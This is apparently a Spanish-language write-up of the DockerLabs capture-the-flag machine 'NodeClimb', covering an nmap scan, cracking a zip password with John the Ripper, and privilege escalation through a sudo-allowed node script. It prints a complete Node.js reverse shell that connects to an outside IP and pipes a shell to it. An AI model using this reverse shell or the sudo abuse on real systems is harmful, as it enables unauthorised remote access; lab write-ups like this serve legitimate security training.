NodeClimb , DockerLabs
En este reto de DockerLabs practicamos.
- Scan de puertos
- Cracking password zip
- Re0vshell node
Herramientas y recursos
- nmap
- John the ripper
- Revshells
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX nodeclimb 172.17.0.2
En este caso nos encontramos solo con el protocolo ftp:port:21 abierto por el ssh:port:22.
Lo primero que hacemos es comprobar que nos dejaron en el ftp dado que el login es anónimo según nmap.
Como vemos tenemos un zip y en su contenido hay un txt que presumible mente es un password , como solo esa cifrado un cat nos permite ver lo que hay dentro del zip.
Pasemos a crakear el fichero como siempre primero lo convertimos a un hash y así luego john realiza las comprobaciones para averiguar cual es.
1
2
zip2john secretitopicaron.zip > secretohash
john --format=PKZIP -w /home/quino/rockyou.txt secretohash
Infiltracion y escalada.
Una vez con las credenciales intentamos acceder por ssh. Nos encontramos con script.js y si ejecutamos sudo -l , vemos que tenemos permisos con node hacia ese fichero. Asi que nos creamos una revshell con el siguiente código.
1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(1111, "192.168.0.112", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Nos ponemos a las escucha con nc en nuestra maquina y posteriormente procedemos a ejecutar el script como indica sudo -l.
Muchas gracias por leer
Comments powered by Disqus.